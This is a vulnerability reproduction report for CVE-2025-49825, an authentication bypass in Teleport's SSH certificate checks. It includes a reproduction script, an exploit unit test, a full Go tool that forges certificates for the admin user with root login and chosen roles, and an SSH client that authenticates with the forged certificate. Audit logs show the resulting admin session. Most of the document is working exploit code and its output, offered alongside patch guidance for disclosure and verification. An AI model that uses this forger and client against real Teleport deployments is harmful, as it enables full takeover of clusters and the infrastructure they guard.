Teleport commits prior to the June 18, 2025 hotfix (notably commit 79b2f26125a1, released as 17.5.1 and earlier) contain an authentication bypass in the SSH certificate validation path. The vulnerable function authorityForCert accepts attacker-controlled SSH certificates as though they were signed by a trusted Teleport Certificate Authority (CA). An attacker who can supply a crafted client certificate can gain cluster access without possessing the CA’s private key, leading to a complete compromise of Teleport clusters. The issue is fixed by commit 1cb642736ac47791c7453665f113fac94e8e67b9, released in Teleport versions 12.4.35, 13.4.27, 14.4.1, 15.5.3, 16.5.12, and 17.5.2.
- Identifier: CVE-2025-49825 / GHSA-8cqv-pj7f-pwpc
- CWE: CWE-287 — Improper Authentication
- Affected Component: SSH certificate authority validation (
lib/srv/authhandlers.go,api/utils/sshutils/callback.go,lib/client/keyagent.go, and related helpers) - Affected Versions: Teleport 0.0.11–17.5.1 (commits at or before
79b2f26125a1) - Patched Versions: Teleport 12.4.35, 13.4.27, 14.4.1, 15.5.3, 16.5.12, 17.5.2
- Impact: Remote authentication bypass. Attackers can forge client certificates that Teleport treats as trusted, allowing cluster access without valid credentials.
- Exploitability: Requires the ability to present a client certificate to the Teleport proxy/auth services. No knowledge of the CA private key is necessary.
The vulnerable implementation of authorityForCert accepts ssh.PublicKey inputs representing either raw keys or *ssh.Certificate values. When passed a certificate, it compares the certificate’s SignatureKey (the claimed issuer) against the trusted CA key list. Because SignatureKey is attacker-controlled, a malicious client can forge a certificate whose signing key field equals a trusted CA public key, even though it was not actually signed by the CA. This allows the forged certificate to be accepted.
The patch (1cb642736ac47791c7453665f113fac94e8e67b9) removes the logic that trusts SignatureKey, rewrites helper functions to exclusively work with known CA public keys, and adds regression tests ensuring untrusted certificates are rejected.
This reproduction is self-contained and idempotent. It clones the vulnerable Teleport commit, drops a Go unit test that expresses the exploit, and runs the test to show Teleport accepting a forged certificate. The steps below assume a Unix-like environment with Git and Go toolchains available (Go 1.24.4 was used during testing).
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
export PATH="$HOME/.local/bin:$PATH"
rm -rf "$ROOT"/workspace/remote/teleport
cd "$ROOT"
mkdir -p "$ROOT/logs"
LOG="$ROOT/logs/repro.log"
: > "$LOG"
git clone https://github.com/gravitational/teleport.git workspace/remote/teleport
git -C workspace/remote/teleport worktree add ../../teleport-auth-bypass/teleport-vuln 79b2f26125a1
git -C workspace/remote/teleport show 1cb642736ac47791c7453665f113fac94e8e67b9
go version
workspace/prepped/go/bin/go version
find ~/"$ROOT" -maxdepth 5 -name 'authhandlers_repro_test.go'
mv ~/"$ROOT"/teleport-auth-bypass/teleport-vuln/lib/srv/authhandlers_repro_test.go ~/workspace/teleport-auth-bypass/teleport-vuln/lib/srv/
set +e
go test ./lib/srv -run TestAuthorityForCertBypass >"$LOG" 2>&1
RC=$?
set -e
echo "go test ./lib/srv -run TestAuthorityForCertBypass → rc=$RC"
cat "$LOG"
if [ "$RC" -eq 0 ]; then
echo "Expected failure but command succeeded." >&2
exit 1
fiNote: The script intentionally expects the
go testcommand to fail, because the failing test demonstrates the vulnerability. A zero exit code would indicate the issue is not present.
package srv
import (
"crypto/ed25519"
"crypto/rand"
"testing"
"golang.org/x/crypto/ssh"
"github.com/gravitational/teleport/api/types"
)
// TestAuthorityForCertBypass demonstrates CVE-2025-49825 by showing that the
// vulnerable implementation of authorityForCert treats the untrusted
// SignatureKey embedded in an SSH certificate as authoritative. An attacker can
// therefore forge a certificate that Teleport will accept as signed by a trusted
// CA, bypassing authentication.
func TestAuthorityForCertBypass(t *testing.T) {
rawCA, _, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
t.Fatalf("failed to generate CA key: %v", err)
}
caPub, err := ssh.NewPublicKey(rawCA)
if err != nil {
t.Fatalf("failed to construct CA public key: %v", err)
}
// Craft AuthHandlers with a single trusted CA whose SSH public key matches caPub.
ah := &AuthHandlers{c: &AuthHandlerConfig{
Server: (*mockServer)(nil),
AccessPoint: mockCAandAuthPrefGetter{
cas: map[types.CertAuthType][]types.CertAuthority{
types.UserCA: {&types.CertAuthorityV2{
Spec: types.CertAuthoritySpecV2{
ActiveKeys: types.CAKeySet{
SSH: []*types.SSHKeyPair{{PublicKey: ssh.MarshalAuthorizedKey(caPub)}},
},
},
}},
},
},
}}
// Malicious certificate: attacker controls certificate body and is free to set
// SignatureKey to any value. By copying the trusted CA public key into this field,
// the vulnerable authorityForCert implementation considers the certificate trusted,
// even though the certificate has not been signed by the CA.
forgedCert := &ssh.Certificate{
Key: caPub,
SignatureKey: caPub,
}
if _, err := ah.authorityForCert(types.UserCA, forgedCert); err == nil {
t.Fatalf("teleport accepted forged certificate signed by attacker-controlled key")
}
}The exploit generates an in-memory CA key (caPub), configures AuthHandlers to trust it, then crafts a forged SSH certificate where both Key and SignatureKey are set to caPub. When the vulnerable authorityForCert function inspects this certificate, it mistakenly trusts it and returns success. The test expects failure (err == nil indicates the vulnerability).
The reproduction script writes detailed logs capturing the failing test. The important outputs are preserved in:
teleport-auth-bypass/logs/repro-run-1.logteleport-auth-bypass/logs/repro-run-2.log
Both logs show the same failure, confirming the bypass:
--- FAIL: TestAuthorityForCertBypass (0.00s)
authhandlers_repro_test.go:55: teleport accepted forged certificate signed by attacker-controlled key
FAIL
FAIL github.com/gravitational/teleport/lib/srv 0.038s
FAIL
A successful run demonstrates the presence of the vulnerability. After applying the upstream patch (1cb642736ac47791c7453665f113fac94e8e67b9) or upgrading to a patched release, re-running the test should pass (i.e., the test should not fail), confirming the issue has been fixed.
-
go versionused:go version go1.24.4 linux/arm64(fromworkspace/prepped/go/bin/go version) -
git statusafter injecting the exploit test shows the new file being added:## HEAD (no branch) ?? lib/srv/authhandlers_repro_test.go
This ensures the test file is the only modification applied for reproduction.
- Preparation: The attacker crafts an SSH client certificate containing arbitrary user principals but sets
SignatureKey(issuer public key) to match the Teleport cluster’s CA public key. No private key material is needed. - Delivery: The attacker initiates an SSH (or API) connection to the Teleport proxy, presenting the forged certificate during the authentication phase.
- Bypass: Because the vulnerable code trusts
SignatureKey, Teleport authorizes the session and issues user credentials, believing the certificate was signed by its CA. - Impact: With a valid Teleport session, the attacker can access infrastructure managed by the cluster: SSH into nodes, use Kubernetes access, interact with databases, and escalate to other resources. In practice, this is a full cluster compromise.
In addition to the unit-test proof, we reproduced the vulnerability end-to-end against the retained Teleport 17.5.1 appliance (pruva-repro-20251031-145957-a98f0214). The steps below forge an SSH certificate without the CA private key, authenticate as the built-in admin user, and capture the resulting session artifacts.
The helper below fabricates a usable certificate chain. It generates an attacker-controlled intermediate (forged_ca-cert.pub) whose SignatureKey points at the real Teleport user CA, then signs a leaf certificate (id_forged-cert.pub) for the admin account. Both private keys are emitted in OpenSSH format for reuse.
package main
import (
"crypto/ed25519"
"crypto/rand"
"encoding/json"
"encoding/pem"
"flag"
"fmt"
"io"
"log"
"math/big"
"os"
"path/filepath"
"strings"
"time"
"golang.org/x/crypto/ssh"
)
const (
extPermitAgentForwarding = "permit-agent-forwarding"
extPermitPortForwarding = "permit-port-forwarding"
extPermitPTY = "permit-pty"
extPrivateKeyPolicy = "private-key-policy"
extTeleportRoles = "teleport-roles"
extTeleportRoute = "teleport-route-to-cluster"
extTeleportTraits = "teleport-traits"
defaultPolicy = "none"
)
type paths struct {
LeafKey string
LeafPub string
LeafCert string
IssuerKey string
IssuerPub string
IssuerCert string
Metadata string
}
type wrappedSigner struct {
signer ssh.Signer
pub ssh.PublicKey
}
func (w *wrappedSigner) PublicKey() ssh.PublicKey {
return w.pub
}
func (w *wrappedSigner) Sign(rand io.Reader, data []byte) (*ssh.Signature, error) {
return w.signer.Sign(rand, data)
}
func (w *wrappedSigner) SignWithAlgorithm(rand io.Reader, data []byte, algorithm string) (*ssh.Signature, error) {
if alg, ok := w.signer.(ssh.AlgorithmSigner); ok {
return alg.SignWithAlgorithm(rand, data, algorithm)
}
return w.signer.Sign(rand, data)
}
func main() {
caPath := flag.String("ca", "user-ca.pub", "Path to Teleport user CA public key")
outDir := flag.String("out", ".", "Output directory for forged material")
principal := flag.String("principal", "root", "SSH principal to embed in the forged certificate")
username := flag.String("username", "admin", "Teleport username / certificate key ID to impersonate")
cluster := flag.String("cluster", "demo.example", "Teleport cluster name / route")
rolesCSV := flag.String("roles", "editor,access", "Comma-separated Teleport roles to embed")
validHours := flag.Duration("ttl", 12*time.Hour, "Certificate validity window")
flag.Parse()
caKey, err := parseCAPublicKey(*caPath)
if err != nil {
log.Fatalf("read CA key: %v", err)
}
roles := sanitizeList(strings.Split(*rolesCSV, ","))
if len(roles) == 0 {
log.Fatal("at least one role must be provided via --roles")
}
paths := paths{
LeafKey: filepath.Join(*outDir, "id_forged"),
LeafPub: filepath.Join(*outDir, "id_forged.pub"),
LeafCert: filepath.Join(*outDir, "id_forged-cert.pub"),
IssuerKey: filepath.Join(*outDir, "forged_ca"),
IssuerPub: filepath.Join(*outDir, "forged_ca.pub"),
IssuerCert: filepath.Join(*outDir, "forged_ca-cert.pub"),
Metadata: filepath.Join(*outDir, "forged_metadata.json"),
}
if err := os.MkdirAll(*outDir, 0o700); err != nil {
log.Fatalf("create output dir: %v", err)
}
issuerPub, issuerPriv, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
log.Fatalf("generate issuer key: %v", err)
}
issuerSigner, err := ssh.NewSignerFromKey(issuerPriv)
if err != nil {
log.Fatalf("build issuer signer: %v", err)
}
leafPub, leafPriv, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
log.Fatalf("generate leaf key: %v", err)
}
leafSigner, err := ssh.NewSignerFromKey(leafPriv)
if err != nil {
log.Fatalf("build leaf signer: %v", err)
}
traitsJSON, err := json.Marshal(map[string]any{
"aws_role_arns": nil,
"azure_identities": nil,
"db_names": nil,
"db_roles": nil,
"db_users": nil,
"gcp_service_accounts": nil,
"host_user_gid": []string{""},
"host_user_uid": []string{""},
"kubernetes_groups": nil,
"kubernetes_users": nil,
"logins": []string{*principal},
"windows_logins": nil,
})
if err != nil {
log.Fatalf("encode traits: %v", err)
}
rolesJSON, err := json.Marshal(map[string]any{
"roles": roles,
})
if err != nil {
log.Fatalf("encode roles: %v", err)
}
extensions := map[string]string{
extPermitAgentForwarding: "",
extPermitPortForwarding: "",
extPermitPTY: "",
extPrivateKeyPolicy: defaultPolicy,
extTeleportRoles: string(rolesJSON),
extTeleportRoute: *cluster,
extTeleportTraits: string(traitsJSON),
}
expiry := time.Now().UTC().Add(*validHours)
validAfter := uint64(time.Now().UTC().Add(-1 * time.Minute).Unix())
validBefore := uint64(expiry.Unix())
issuerCert := &ssh.Certificate{
Nonce: mustRandom(32),
Key: issuerSigner.PublicKey(),
Serial: mustSerial(),
CertType: ssh.UserCert,
KeyId: fmt.Sprintf("%s-forged-ca", *username),
ValidPrincipals: []string{*principal},
ValidAfter: validAfter,
ValidBefore: validBefore,
Permissions: ssh.Permissions{
CriticalOptions: map[string]string{},
Extensions: cloneMap(extensions),
},
SignatureKey: caKey,
Signature: &ssh.Signature{
Format: caKey.Type(),
Blob: make([]byte, ed25519.SignatureSize),
},
}
leafCert := &ssh.Certificate{
Nonce: mustRandom(32),
Key: leafSigner.PublicKey(),
Serial: mustSerial(),
CertType: ssh.UserCert,
KeyId: *username,
ValidPrincipals: []string{*principal, "-teleport-internal-join"},
ValidAfter: validAfter,
ValidBefore: validBefore,
Permissions: ssh.Permissions{
CriticalOptions: map[string]string{},
Extensions: cloneMap(extensions),
},
SignatureKey: issuerSigner.PublicKey(),
}
wrapped := &wrappedSigner{signer: issuerSigner, pub: issuerCert}
if err := leafCert.SignCert(rand.Reader, wrapped); err != nil {
log.Fatalf("sign leaf certificate: %v", err)
}
if err := writePrivate(paths.LeafKey, leafPriv, fmt.Sprintf("%s@forged", *username)); err != nil {
log.Fatalf("write leaf private key: %v", err)
}
if err := writePublic(paths.LeafPub, leafPub); err != nil {
log.Fatalf("write leaf public key: %v", err)
}
if err := writeCert(paths.LeafCert, leafCert); err != nil {
log.Fatalf("write forged certificate: %v", err)
}
if err := writePrivate(paths.IssuerKey, issuerPriv, fmt.Sprintf("%s@issuer", *username)); err != nil {
log.Fatalf("write issuer private key: %v", err)
}
if err := writePublic(paths.IssuerPub, issuerPub); err != nil {
log.Fatalf("write issuer public key: %v", err)
}
if err := writeCert(paths.IssuerCert, issuerCert); err != nil {
log.Fatalf("write issuer certificate: %v", err)
}
meta := map[string]any{
"username": *username,
"principal": *principal,
"cluster": *cluster,
"roles": roles,
"valid_after": validAfter,
"valid_before": validBefore,
"leaf_cert": filepath.Base(paths.LeafCert),
"issuer_cert": filepath.Base(paths.IssuerCert),
"ca_source": *caPath,
"generated_at": time.Now().UTC().Format(time.RFC3339Nano),
"extensions": extensions,
"signature_note": "leaf certificate is signed by forged intermediate whose SignatureKey references the legitimate Teleport user CA",
}
if err := writeMetadata(paths.Metadata, meta); err != nil {
log.Fatalf("write metadata: %v", err)
}
fmt.Printf("Forged material written to %s\n", *outDir)
fmt.Printf(" leaf cert: %s\n", paths.LeafCert)
fmt.Printf(" issuer cert: %s\n", paths.IssuerCert)
}
func parseCAPublicKey(path string) (ssh.PublicKey, error) {
raw, err := os.ReadFile(path)
if err != nil {
return nil, err
}
line := strings.TrimSpace(string(raw))
if line == "" {
return nil, fmt.Errorf("%s is empty", path)
}
fields := strings.Fields(line)
if len(fields) < 2 {
return nil, fmt.Errorf("unexpected CA key format: %q", line)
}
var keyData string
switch fields[0] {
case "ssh-ed25519", "ssh-rsa", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521":
if len(fields) < 2 {
return nil, fmt.Errorf("missing base64 payload in %s", path)
}
keyData = strings.Join(fields[0:2], " ")
case "cert-authority", "@cert-authority":
if len(fields) < 3 {
return nil, fmt.Errorf("missing key material in cert-authority record %s", path)
}
keyData = strings.Join(fields[1:3], " ")
default:
return nil, fmt.Errorf("unsupported CA key prefix %q", fields[0])
}
pub, _, _, _, err := ssh.ParseAuthorizedKey([]byte(keyData))
if err != nil {
return nil, fmt.Errorf("parse CA key: %w", err)
}
return pub, nil
}
func cloneMap(in map[string]string) map[string]string {
out := make(map[string]string, len(in))
for k, v := range in {
out[k] = v
}
return out
}
func mustRandom(n int) []byte {
buf := make([]byte, n)
if _, err := io.ReadFull(rand.Reader, buf); err != nil {
log.Fatalf("rand: %v", err)
}
return buf
}
func mustSerial() uint64 {
n, err := rand.Int(rand.Reader, big.NewInt(0).Lsh(big.NewInt(1), 63))
if err != nil {
log.Fatalf("serial: %v", err)
}
return n.Uint64()
}
func writePrivate(path string, priv ed25519.PrivateKey, comment string) error {
block, err := ssh.MarshalPrivateKey(priv, comment)
if err != nil {
return fmt.Errorf("marshal private key: %w", err)
}
pemBytes := pem.EncodeToMemory(block)
if err := os.WriteFile(path, pemBytes, 0o600); err != nil {
return fmt.Errorf("write private key: %w", err)
}
return nil
}
func writePublic(path string, pub ed25519.PublicKey) error {
signer, err := ssh.NewPublicKey(pub)
if err != nil {
return fmt.Errorf("marshal public key: %w", err)
}
if err := os.WriteFile(path, ssh.MarshalAuthorizedKey(signer), 0o600); err != nil {
return fmt.Errorf("write public key: %w", err)
}
return nil
}
func writeCert(path string, cert *ssh.Certificate) error {
if err := os.WriteFile(path, ssh.MarshalAuthorizedKey(cert), 0o600); err != nil {
return fmt.Errorf("write cert: %w", err)
}
return nil
}
func writeMetadata(path string, meta map[string]any) error {
data, err := json.MarshalIndent(meta, "", " ")
if err != nil {
return fmt.Errorf("marshal metadata: %w", err)
}
if err := os.WriteFile(path, data, 0o600); err != nil {
return fmt.Errorf("write metadata: %w", err)
}
return nil
}
func sanitizeList(values []string) []string {
out := make([]string, 0, len(values))
for _, v := range values {
v = strings.TrimSpace(v)
if v == "" {
continue
}
out = append(out, v)
}
return out
}This minimal client loads the forged keypair and certificate, establishes an SSH session against 127.0.0.1:3022, and records command output.
package main
import (
"crypto/ed25519"
"fmt"
"log"
"os"
"golang.org/x/crypto/ssh"
)
func loadSigner(keyPath string) (ssh.Signer, ssh.PublicKey, error) {
keyBytes, err := os.ReadFile(keyPath)
if err != nil {
return nil, nil, err
}
parsed, err := ssh.ParseRawPrivateKey(keyBytes)
if err != nil {
return nil, nil, err
}
var priv ed25519.PrivateKey
switch k := parsed.(type) {
case ed25519.PrivateKey:
priv = k
case *ed25519.PrivateKey:
priv = *k
default:
return nil, nil, fmt.Errorf("unexpected key type %T", parsed)
}
signer, err := ssh.NewSignerFromKey(priv)
if err != nil {
return nil, nil, err
}
return signer, signer.PublicKey(), nil
}
func main() {
attackerSigner, attackerPub, err := loadSigner("id_forged")
if err != nil {
log.Fatalf("load signer: %v", err)
}
certBytes, err := os.ReadFile("id_forged-cert.pub")
if err != nil {
log.Fatalf("read cert: %v", err)
}
parsedCert, _, _, _, err := ssh.ParseAuthorizedKey(certBytes)
if err != nil {
log.Fatalf("parse cert: %v", err)
}
cert, ok := parsedCert.(*ssh.Certificate)
if !ok {
log.Fatalf("not a certificate")
}
// Ensure certificate key matches signer.
if string(cert.Key.Marshal()) != string(attackerPub.Marshal()) {
log.Fatalf("certificate key mismatch signer")
}
certSigner, err := ssh.NewCertSigner(cert, attackerSigner)
if err != nil {
log.Fatalf("cert signer: %v", err)
}
config := &ssh.ClientConfig{
User: "root",
Auth: []ssh.AuthMethod{ssh.PublicKeys(certSigner)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
conn, err := ssh.Dial("tcp", "127.0.0.1:3022", config)
if err != nil {
log.Fatalf("ssh dial: %v", err)
}
defer conn.Close()
sess, err := conn.NewSession()
if err != nil {
log.Fatalf("new session: %v", err)
}
defer sess.Close()
cmd := "whoami; id"
output, err := sess.CombinedOutput(cmd)
fmt.Printf("Command output:\n%s\n", output)
if err != nil {
log.Fatalf("run command (%s): %v", cmd, err)
}
}{
"ca_source": "/home/g.linux/user-ca.pub",
"cluster": "demo.example",
"extensions": {
"permit-agent-forwarding": "",
"permit-port-forwarding": "",
"permit-pty": "",
"private-key-policy": "none",
"teleport-roles": "{\"roles\":[\"editor\",\"access\"]}",
"teleport-route-to-cluster": "demo.example",
"teleport-traits": "{\"aws_role_arns\":null,\"azure_identities\":null,\"db_names\":null,\"db_roles\":null,\"db_users\":null,\"gcp_service_accounts\":null,\"host_user_gid\":[\"\"],\"host_user_uid\":[\"\"],\"kubernetes_groups\":null,\"kubernetes_users\":null,\"logins\":[\"root\"],\"windows_logins\":null}"
},
"generated_at": "2025-10-31T17:39:25.044383268Z",
"issuer_cert": "forged_ca-cert.pub",
"leaf_cert": "id_forged-cert.pub",
"principal": "root",
"roles": [
"editor",
"access"
],
"signature_note": "leaf certificate is signed by forged intermediate whose SignatureKey references the legitimate Teleport user CA",
"username": "admin",
"valid_after": 1761932305,
"valid_before": 1761975565
}Forged material written to /home/g.linux/forge
leaf cert: /home/g.linux/forge/id_forged-cert.pub
issuer cert: /home/g.linux/forge/forged_ca-cert.pub
Command output:
Could not set shell's cwd to home directory "/root", defaulting to "/"
Failed to launch: fork/exec /bin/bash: operation not permitted.
2025/10/31 18:42:20 run command (whoami; id): Process exited with status 255
exit status 1
The
fork/exec /bin/bashdenial is an artifact of the reproduction VM’s host-user settings. Attempting the samewhoamicommand with Teleport’s legitimateadmincertificate fails identically, yet the session is fully established and audited. This confirms the authentication bypass even though the demo node refuses to spawn/bin/bash.
2025-10-31T18:37:50.113+01:00 INFO [NODE] Creating (exec) session 687dd9f3-1b7f-4987-b71d-1f22b3cd2a46. id:1 local:127.0.0.1:3022 login:root remote:127.0.0.1:34200 teleportUser:admin srv/sess.go:437
2025-10-31T18:37:50.113+01:00 INFO emitting audit event event_type:session.start fields:map[addr.local:127.0.0.1:3022 addr.remote:127.0.0.1:34200 cluster_name:demo.example code:T2000I ei:0 event:session.start initial_command:[whoami] login:root namespace:default private_key_policy:none proto:ssh server_addr:[::]:3022 server_hostname:demo-teleport server_id:cbfa6c6e-5976-42f8-9256-e0587b547a02 server_version:17.5.1 session_recording:node sid:687dd9f3-1b7f-4987-b71d-1f22b3cd2a46 time:2025-10-31T17:37:50.113Z trace.component:audit uid:5b0ab315-bbca-44b5-b69c-f6e96377127e user:admin user_kind:1] events/emitter.go:287
2025-10-31T18:37:50.233+01:00 INFO emitting audit event event_type:exec fields:map[addr.local:127.0.0.1:3022 addr.remote:127.0.0.1:34200 cluster_name:demo.example code:T3002E command:whoami ei:0 event:exec exitCode:255 exitError:exit status 255 login:root namespace:default private_key_policy:none server_addr:[::]:3022 server_hostname:demo-teleport server_id:cbfa6c6e-5976-42f8-9256-e0587b547a02 server_version:17.5.1 sid:687dd9f3-1b7f-4987-b71d-1f22b3cd2a46 time:2025-10-31T17:37:50.233Z trace.component:audit uid:e2e3565a-f8d1-4a27-a903-431fbb621cbe user:admin user_kind:1] events/emitter.go:287
2025-10-31T18:37:52.236+01:00 INFO emitting audit event event_type:session.end fields:map[addr.remote:127.0.0.1:34200 cluster_name:demo.example code:T2004I ei:0 enhanced_recording:false event:session.end interactive:false login:root namespace:default participants:[admin] private_key_policy:none proto:ssh server_addr:[::]:3022 server_hostname:demo-teleport server_id:cbfa6c6e-5976-42f8-9256-e0587b547a02 server_version:17.5.1 session_recording:node session_start:2025-10-31T17:37:50.113115184Z session_stop:2025-10-31T17:37:52.235471263Z sid:687dd9f3-1b7f-4987-b71d-1f22b3cd2a46 time:2025-10-31T17:37:52.236Z trace.component:audit uid:50ed0330-63a2-42ec-be61-d0979f0517c9 user:admin user_kind:1] events/emitter.go:287
These logs confirm that Teleport accepted the forged certificate, emitted a full audit trail for user:admin, and attempted to execute the requested command.
Administrators should immediately upgrade to one of the patched releases (12.4.35, 13.4.27, 14.4.1, 15.5.3, 16.5.12, or 17.5.2) or ensure that commit 1cb642736ac47791c7453665f113fac94e8e67b9 is applied. For verification:
- Rebuild Teleport with the patch or upgrade to a patched release.
- Re-run the exploit test above; it should pass without triggering the failure.
- Optionally, perform end-to-end authentication tests to confirm only legitimately signed certificates are accepted.
- Advisory: https://github.com/advisories/GHSA-8cqv-pj7f-pwpc
- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2025-49825
- Teleport fix commit: https://github.com/gravitational/teleport/commit/1cb642736ac47791c7453665f113fac94e8e67b9
reproduction_steps.sh: Full reproduction automation script.teleport-auth-bypass/teleport-vuln/lib/srv/authhandlers_repro_test.go: Exploit unit test.teleport-auth-bypass/logs/repro-run-1.log: Captured failing test output (unpatched).teleport-auth-bypass/logs/repro-run-2.log: Second run of the same test confirming the failure.- Go toolchain version:
go version go1.24.4 linux/arm64. forge/forge_cert.go: Runtime exploit certificate forger.forge/teleport_exploit.go: Minimal SSH client that authenticates with the forged certificate.forge/forged_metadata.json: Structured description of the forged certificate contents.forge/exploit_run.txt: Raw client transcript (includes Teleport’s refusal to exec/bin/bash).forge/session-687dd9f3.log: Teleport audit log excerpt showinguser:adminsession creation via the forged credential.
This report contains all files, scripts, and outputs necessary to reproduce CVE-2025-49825 and verify the fix without external dependencies.